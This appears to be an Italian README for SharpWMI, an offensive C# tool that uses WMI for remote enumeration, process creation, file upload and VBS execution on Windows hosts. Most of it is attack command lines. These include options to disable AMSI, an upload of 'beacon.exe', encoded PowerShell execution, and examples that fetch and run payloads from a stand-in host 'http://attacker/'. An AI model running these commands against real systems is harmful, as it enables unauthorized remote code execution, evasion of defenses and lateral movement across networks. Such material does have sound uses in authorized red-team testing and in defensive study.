SharpWMI è un'implementazione in C# di varie funzionalità WMI.
SharpWMI è un'implementazione in C# di varie funzionalità WMI. Include query WMI locali/remote, creazione remota di processi tramite win32_process ed esecuzione remota di VBS arbitrari attraverso sottoscrizioni a eventi WMI. Sono supportate anche credenziali alternative per i metodi remoti.

Local system enumeration:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Remote system enumeration:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Remote system Logged On users enumeration:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Remote process creation:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Remote VBS execution:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
File upload via WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Remote firewall enumeration :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
List processes:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminate process (first found):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Get environment variables (all if name not given):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Set environment variable:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Delete an environment variable:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Install MSI file:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
NOTE:
- Any remote function also takes an optional ""username=DOMAIN\\user"" ""password=Password123!"".
- If computername is not specified, will target localhost.
L'opzione result=true su action=exec (o in alternativa action=create) fa sì che SharpWMI restituisca l'output del comando dopo la creazione remota del processo WMI. Funziona memorizzando l'output del comando in un'istanza di un oggetto WMI arbitrario. Tale oggetto viene quindi recuperato dal chiamante e ripristinato al suo valore originale.
L'azione executevbs è stata rielaborata rispetto alla versione originale di SharpWMI.
La specifica dello script definita in [script-specification] offre i seguenti metodi per indirizzare questo strumento al codice VBS di destinazione:
A) Executes OS command via preset VBS code:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Download a binary file from given URL, store it in specified path and then execute it:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Download a binary file from given URL, store it in specified path and then execute arbitrary command:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Read VBS script from file and execute it:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Execute given VBS script given literally:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Base64 decode input string being encoded VBS script and execute it on remote machine:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Read contents of given file, base64 decode them and then execute on target machine:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
Finally, 'executevbs' action may have additional [time-specs] defined in seconds - they specify script trigger and wait timeouts:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
Ottieni informazioni di tipo netstat TCP locali da una macchina Windows 10 remota:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
Non abbiamo intenzione di rilasciare binari per SharpWMI, quindi dovrai compilarlo da solo :)
SharpWMI è stato compilato per .NET 3.5 ed è compatibile con Visual Studio 2015 Community Edition. Apri semplicemente il file .sln del progetto, scegli "release" e compila.
